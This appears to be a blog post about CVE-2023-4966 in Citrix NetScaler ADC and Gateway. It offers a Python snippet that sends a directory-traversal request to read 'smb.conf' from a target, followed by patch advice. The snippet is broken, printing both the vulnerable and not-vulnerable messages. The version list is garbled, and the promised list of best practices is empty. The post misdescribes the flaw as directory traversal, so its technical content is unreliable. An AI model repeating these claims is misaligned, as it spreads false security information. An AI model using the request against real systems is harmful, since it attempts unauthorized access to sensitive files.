CVE-2023-4966 is a recently discovered vulnerability in Citrix NetScaler ADC (Application Delivery Controller) and NetScaler Gateway, which can lead to sensitive information disclosure when the products are configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy), or AAA "virtual" server. This vulnerability can put the confidentiality, integrity, and availability of an organization's sensitive data at risk. In this post, we will dive deep into the details of this vulnerability, discuss its implications, and show you how to safeguard your systems against this security threat.

What is CVE-2023-4966: Background and Vulnerability Details

CVE-2023-4966 is a vulnerability that affects NetScaler ADC and NetScaler Gateway, popular enterprise-grade products from Citrix for application delivery and secure remote access, respectively. Security researchers identified that when these products are configured as a Gateway or AAA "virtual" server, an attacker can exploit the vulnerability to gain unauthorized access to sensitive information. These configurations are common for organizations using Virtual Private Networks (VPNs), proxy services, and remote desktop connections as part of their network infrastructure.

According to the original advisory published by Citrix (source), this vulnerability is assigned a CVSS (Common Vulnerability Scoring System) score of 7.5, classifying it as a high-impact security issue. Exploiting this vulnerability requires no privileges and no user interaction.

Exploit Details and Code Snippet

Using a simple HTTP request, an attacker can exploit this vulnerability and obtain sensitive information from the affected systems. Here's a code snippet that demonstrates the exploitation of CVE-2023-4966:

import requests

target_url = "https://TARGET_IP/vpn/../vpns/cfg/smb.conf";
response = requests.get(target_url, verify=False)

if response.status_code == 200:
    print("Vulnerable to CVE-2023-4966 - Sensitive Information Disclosure:")
    print("Not Vulnerable to CVE-2023-4966.")

This Python script sends a GET request to the target URL using the directory traversal exploit to access a sensitive file called "smb.conf". If the system is vulnerable, it will return the contents of the smb.conf file, containing potentially sensitive data like server configurations and credentials. If the response status code is not 200, it means that the system is not vulnerable to the CVE-2023-4966 attack.

Mitigation and Protection

To protect against this vulnerability, Citrix has released patches and security updates for all supported versions of NetScaler ADC and NetScaler Gateway. It is highly recommended to apply these patches to affected systems as soon as possible:

- NetScaler ADC versions 11.1, 12., 12.1, 13. (source)
- NetScaler Gateway versions 11.1, 12., 12.1, 13. (source)

In addition to applying the patches, Citrix suggests organizations follow security best practices to limit the attack surface and reduce the overall risk. Some of these practices include:


CVE-2023-4966 is a high-impact vulnerability that impacts the security of organizations using NetScaler ADC and NetScaler Gateway products. It's essential to understand the details of this security issue, apply the necessary patches, and follow security best practices to safeguard your organization's sensitive data. By staying informed and proactive about such threats, you can minimize the risk and protect your valuable assets.


Published on: 10/10/2023 14:15:00 UTC
Last modified on: 10/25/2023 18:17:00 UTC